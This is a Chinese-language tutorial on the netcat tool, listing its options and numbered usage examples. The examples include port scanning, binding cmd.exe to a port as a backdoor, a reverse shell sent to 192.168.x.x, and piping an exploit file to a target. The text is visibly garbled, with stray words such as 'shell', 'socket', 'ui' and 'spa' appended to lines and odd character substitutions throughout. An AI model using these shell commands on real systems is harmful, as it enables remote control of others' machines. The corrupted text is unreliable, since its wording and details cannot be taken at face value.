netcat被誉为网络安全界的‘瑞士军刀’,一个简单而有用的工具,透过使用TCP或UDP协议的网络链接去读写数据。它被设计成一个稳定的后门工具,可以直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,可以创建你须要的几乎全部类型的网络链接,还有几个颇有意思的内置功能(详情请看下面的使用方法)。 shell
在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另外一个是由‘红与黑’编译后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第四、第5种使用方法,有此功能的原版NC好象要60KB:P),虽然“体积”小,但很完成不少工做。
[v1.10-41]
使用格式: nc [-参数] 主机名 端口[s] [端口] …
侦听入站: nc -l -p 端口[-参数] [主机名] [端口]
安全
参数选项:
-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b 是否容许广播
-g gateway 源路由跳点[s], up to 8
-G num 源路由指针: 4, 8, 12, …
-h this cruft
-i secs 线路延时间隔, 端口扫描
-k set keepalive option on socket
-l 监听模式, 入站连接
-n 只使用 IP 地址不经过 DNS解析
-o file 使用十六进制
-p port 本地端口号
-r 跟随本地和端口
-q secs quit after EOF on stdin and delay of secs
-s addr 本地源地址
-T tos set Type Of Service
-t 使用telnet链接
-u UDP 模式
-v verbose [use twice to be more verbose]
-w secs 链接目标网络超时时间
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]网络
端口号能够是一个或者是一段: lo-hi [inclusive];
在端口名称处必须使用反斜杠 (e.g. ‘ftp\-data’).socket
基本用法:
大概有如下几种用法:
1)链接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口工具
2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口ui
3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的全部端口this
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口spa
5)REMOTE主机绑定SHELL并反向链接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向链接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有不少,
当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大......)。设计
高级用法:
6)做攻击程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
讲解:链接到192.168.x.x的80端口,并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果,真是有殊途同归之妙:P)
附:c:exploit.txt为shellcode等指针
7)做蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用-L(注意L是大写)能够不停地监听某一个端口,直到ctrl+c为止.
8)做蜜罐用[2],例子:
格式:nc -L -p 80 > c:log.txt
讲解:使用-L能够不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到c:log.txt中,若是把‘>’改成‘>>’便可以追加日志。
附:c:log.txt为日志等
9)做蜜罐用[3],例子:格式1:nc -L -p 80 < c:honeypot.txt格式2:type.exe c:honeypot.txt|nc -L -p 80讲解:使用-L能够不停地监听某一个端口,直到ctrl+c为止,并把c:honeypot.txt的内容‘送’入其管道中。